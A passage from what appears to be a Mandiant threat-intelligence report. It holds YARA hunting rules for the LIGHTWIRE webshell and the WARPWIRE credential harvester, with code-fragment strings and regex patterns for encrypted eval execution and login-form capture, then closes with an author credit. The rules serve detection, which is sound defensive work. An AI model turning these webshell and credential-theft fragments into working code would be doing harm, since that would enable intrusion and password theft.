$s1 = "exec(zlib.decompress(aes.decrypt(base64.b64decode(data))),
{'request':request,'cache'"
$s2 = "result={'message':'','action':0}"
condition:
any of them
}
rule M_Hunting_Webshell_LIGHTWIRE_4 {
meta:
author = "Mandiant"
description = "Detects LIGHTWIRE based on the RC4 decoding
and execution 1-liner."
md5 = "3d97f55a03ceb4f71671aa2ecf5b24e9"
strings:
$re1 = /eval\{my.{1,20}Crypt::RC4->new\(\".{1,50}->RC4\(decode_base64\
(CGI::param\(\'.{1,30};eval\s\$.{1,30}\"Compatibility\scheck:\s\$@\";\}/
condition:
filesize < 1MB and all of them
}
rule M_Hunting_CredTheft_WARPWIRE_strings
{
meta:
author = "Mandiant"
description = "Detects strings within WARPWIRE credential harvester"
md5 = "b15f47e234b5d26fb2cc81fc6fd89775"
strings:
$header = "function SetLastRealm(sValue) {"
// password fields
$username = "document.frmLogin.username.value;"
$password = "document.frmLogin.password.value;"
// post version
$btoa = "btoa("
$xhr_post = /xhr.open\(.POST.,( )?url,/
// get version
$xhr_get = /xhr.open\(.GET.,( )?url,/
$xhr_send = "xhr.send(null);"
condition:
$header in (0..100)
and $password in (@username[1]..@username[1]+100)
and ((#btoa > 1 and $xhr_post) or ($xhr_send in (@xhr_get[1]..
@xhr_get[1]+50)))
}
Mandiant Security Validation Actions
Organizations can validate their security controls using the following actions with Mandiant Security Validation.
-Mandiant, 作成者: Matt Lin, Robert Wallace, John Wolfram, Dimiter Andonov, Tyler Mclellan